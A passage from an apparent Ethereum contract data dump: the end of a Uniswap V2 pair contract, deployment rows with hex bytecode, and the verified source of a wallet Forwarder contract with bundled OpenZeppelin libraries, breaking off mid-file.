uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
} |
1 | 20,290,648 | 4c8b07c123b732cba77a737040bdf7840224617174a25a4fa57a8383df524c8b | 11c25f839e44c71472ed22acd610aa01c64d68fb05fbe5cdf741b36db074d92c | 4e565f63257d90f988e5ec9d065bab00f94d2dfd | 9fa5c5733b53814692de4fb31fd592070de5f5f0 | 850ee5efe914dcd80db1ffa398ac9fc9f42ed93c | 608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe | ||
1 | 20,290,648 | 4c8b07c123b732cba77a737040bdf7840224617174a25a4fa57a8383df524c8b | a4bfa30635661638cf18a940db3ca7a06560340ce275492c09f379fcf64c6f05 | 41ed843a086f44b8cb23decc8170c132bc257874 | 29ef46035e9fa3d570c598d3266424ca11413b0c | e939547e0078e943376297c33f2c043ccd70c066 | 3d602d80600a3d3981f3363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3 | {{
"language": "Solidity",
"sources": {
"contracts/Forwarder.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity 0.8.10;\nimport '@openzeppelin/contracts/token/ERC1155/IERC1155.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol';\nimport '@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol';\nimport './ERC20Interface.sol';\nimport './TransferHelper.sol';\nimport './IForwarder.sol';\n\n/**\n * Contract that will forward any incoming Ether to the creator of the contract\n *\n */\ncontract Forwarder is IERC721Receiver, ERC1155Receiver, IForwarder {\n // Address to which any funds sent to this contract will be forwarded\n address public parentAddress;\n bool public autoFlush721 = true;\n bool public autoFlush1155 = true;\n\n event ForwarderDeposited(address from, uint256 value, bytes data);\n\n /**\n * Initialize the contract, and sets the destination address to that of the creator\n */\n function init(\n address _parentAddress,\n bool _autoFlush721,\n bool _autoFlush1155\n ) external onlyUninitialized {\n parentAddress = _parentAddress;\n uint256 value = address(this).balance;\n\n // set whether we want to automatically flush erc721/erc1155 tokens or not\n autoFlush721 = _autoFlush721;\n autoFlush1155 = _autoFlush1155;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n\n // NOTE: since we are forwarding on initialization,\n // we don't have the context of the original sender.\n // We still emit an event about the forwarding but set\n // the sender to the forwarder itself\n emit ForwarderDeposited(address(this), value, msg.data);\n }\n\n /**\n * Modifier that will execute internal code block only if the sender is the parent address\n */\n modifier onlyParent {\n require(msg.sender == parentAddress, 'Only Parent');\n _;\n }\n\n /**\n * Modifier that will execute internal code block only if the contract has not been initialized yet\n */\n modifier onlyUninitialized {\n require(parentAddress == address(0x0), 'Already initialized');\n _;\n }\n\n /**\n * Default function; Gets called when data is sent but does not match any other function\n */\n fallback() external payable {\n flush();\n }\n\n /**\n * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address\n */\n receive() external payable {\n flush();\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush721(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush721 = autoFlush;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush1155(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush1155 = autoFlush;\n }\n\n /**\n * ERC721 standard callback function for when a ERC721 is transfered. The forwarder will send the nft\n * to the base wallet once the nft contract invokes this method after transfering the nft.\n *\n * @param _operator The address which called `safeTransferFrom` function\n * @param _from The address of the sender\n * @param _tokenId The token id of the nft\n * @param data Additional data with no specified format, sent in call to `_to`\n */\n function onERC721Received(\n address _operator,\n address _from,\n uint256 _tokenId,\n bytes memory data\n ) external virtual override returns (bytes4) {\n if (autoFlush721) {\n IERC721 instance = IERC721(msg.sender);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The caller does not support the ERC721 interface'\n );\n // this won't work for ERC721 re-entrancy\n instance.safeTransferFrom(address(this), parentAddress, _tokenId, data);\n }\n\n return this.onERC721Received.selector;\n }\n\n function callFromParent(\n address target,\n uint256 value,\n bytes calldata data\n ) external onlyParent returns (bytes memory) {\n (bool success, bytes memory returnedData) = target.call{ value: value }(\n data\n );\n require(success, 'Parent call execution failed');\n\n return returnedData;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155Received(\n address _operator,\n address _from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeTransferFrom(address(this), parentAddress, id, value, data);\n }\n\n return this.onERC1155Received.selector;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155BatchReceived(\n address _operator,\n address _from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeBatchTransferFrom(\n address(this),\n parentAddress,\n ids,\n values,\n data\n );\n }\n\n return this.onERC1155BatchReceived.selector;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushTokens(address tokenContractAddress)\n external\n virtual\n override\n onlyParent\n {\n ERC20Interface instance = ERC20Interface(tokenContractAddress);\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress);\n if (forwarderBalance == 0) {\n return;\n }\n\n TransferHelper.safeTransfer(\n tokenContractAddress,\n parentAddress,\n forwarderBalance\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC721 instance = IERC721(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The tokenContractAddress does not support the ERC721 interface'\n );\n\n address ownerAddress = instance.ownerOf(tokenId);\n instance.transferFrom(ownerAddress, parentAddress, tokenId);\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress, tokenId);\n\n instance.safeTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenId,\n forwarderBalance,\n ''\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external virtual override onlyParent {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256[] memory amounts = new uint256[](tokenIds.length);\n for (uint256 i = 0; i < tokenIds.length; i++) {\n amounts[i] = instance.balanceOf(forwarderAddress, tokenIds[i]);\n }\n\n instance.safeBatchTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenIds,\n amounts,\n ''\n );\n }\n\n /**\n * Flush the entire balance of the contract to the parent address.\n */\n function flush() public {\n uint256 value = address(this).balance;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n emit ForwarderDeposited(msg.sender, value, msg.data);\n }\n\n /**\n * @inheritdoc IERC165\n */\n function supportsInterface(bytes4 interfaceId)\n public\n virtual\n override(ERC1155Receiver, IERC165)\n view\n returns (bool)\n {\n return\n interfaceId == type(IForwarder).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/IERC1155.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\n *\n * _Available since v3.1._\n */\ninterface IERC1155 is IERC165 {\n /**\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\n */\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\n\n /**\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\n * transfers.\n */\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] values\n );\n\n /**\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\n * `approved`.\n */\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\n\n /**\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\n *\n * If an {URI} event was emitted for `id`, the standard\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\n * returned by {IERC1155MetadataURI-uri}.\n */\n event URI(string value, uint256 indexed id);\n\n /**\n * @dev Returns the amount of tokens of token type `id` owned by `account`.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function balanceOf(address account, uint256 id) external view returns (uint256);\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\n *\n * Requirements:\n *\n * - `accounts` and `ids` must have the same length.\n */\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)\n external\n view\n returns (uint256[] memory);\n\n /**\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\n *\n * Emits an {ApprovalForAll} event.\n *\n * Requirements:\n *\n * - `operator` cannot be the caller.\n */\n function setApprovalForAll(address operator, bool approved) external;\n\n /**\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address account, address operator) external view returns (bool);\n\n /**\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\n *\n * Emits a {TransferSingle} event.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n * acceptance magic value.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) external;\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\n *\n * Emits a {TransferBatch} event.\n *\n * Requirements:\n *\n * - `ids` and `amounts` must have the same length.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n * acceptance magic value.\n */\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) external;\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/utils/ERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC1155Receiver.sol\";\nimport \"../../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\nabstract contract ERC1155Receiver is ERC165, IERC1155Receiver {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId);\n }\n}\n"
},
"contracts/ERC20Interface.sol": {
"content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\n/**\n * Contract that exposes the needed erc20 token functions\n */\n\nabstract contract ERC20Interface {\n // Send _value amount of tokens to address _to\n function transfer(address _to, uint256 _value)\n public\n virtual\n returns (bool success);\n\n // Get the account balance of another account with address _owner\n function balanceOf(address _owner)\n public\n virtual\n view\n returns (uint256 balance);\n}\n"
},
"contracts/TransferHelper.sol": {
"content": "// SPDX-License-Identifier: GPL-3.0-or-later\n// source: https://github.com/Uniswap/solidity-lib/blob/master/contracts/libraries/TransferHelper.sol\npragma solidity 0.8.10;\n\nimport '@openzeppelin/contracts/utils/Address.sol';\n\n// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false\nlibrary TransferHelper {\n function safeTransfer(\n address token,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transfer(address,uint256)')));\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(0xa9059cbb, to, value)\n );\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n 'TransferHelper::safeTransfer: transfer failed'\n );\n }\n\n function safeTransferFrom(\n address token,\n address from,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));\n (bool success, bytes memory returndata) = token.call(\n abi.encodeWithSelector(0x23b872dd, from, to, value)\n );\n Address.verifyCallResult(\n success,\n returndata,\n 'TransferHelper::transferFrom: transferFrom failed'\n );\n }\n}\n"
},
"contracts/IForwarder.sol": {
"content": "pragma solidity ^0.8.0;\n\nimport '@openzeppelin/contracts/utils/introspection/IERC165.sol';\n\ninterface IForwarder is IERC165 {\n /**\n * Sets the autoflush721 parameter.\n *\n * @param autoFlush whether to autoflush erc721 tokens\n */\n function setAutoFlush721(bool autoFlush) external;\n\n /**\n * Sets the autoflush1155 parameter.\n *\n * @param autoFlush whether to autoflush erc1155 tokens\n */\n function setAutoFlush1155(bool autoFlush) external;\n\n /**\n * Execute a token transfer of the full balance from the forwarder token to the parent address\n *\n * @param tokenContractAddress the address of the erc20 token contract\n */\n function flushTokens(address tokenContractAddress) external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address\n *\n * @param tokenContractAddress the address of the ERC721 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a batch nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenIds The token ids of the nfts\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external;\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\ninterface IERC1155Receiver is IERC165 {\n /**\n @dev Handles the receipt of a single ERC1155 token type. This function is\n called at the end of a `safeTransferFrom` after the balance has been updated.\n To accept the transfer, this must return\n `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))`\n (i.e. 0xf23a6e61, or its own function selector).\n @param operator The address which initiated the transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param id The ID of the token being transferred\n @param value The amount of tokens being transferred\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))` if transfer is allowed\n */\n function onERC1155Received(\n address operator,\n address from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external returns (bytes4);\n\n /**\n @dev Handles the receipt of a multiple ERC1155 token types. This function\n is called at the end of a `safeBatchTransferFrom` after the balances have\n been updated. To accept the transfer(s), this must return\n `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))`\n (i.e. 0xbc197c81, or its own function selector).\n @param operator The address which initiated the batch transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param ids An array containing ids of each token being transferred (order and length must match values array)\n @param values An array containing amounts of each token being transferred (order and length must match ids array)\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))` if transfer is allowed\n */\n function onERC1155BatchReceived(\n address operator,\n address from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize, which returns 0 for contracts in\n // construction, since the code is only stored at the end of the\n // constructor execution.\n\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as 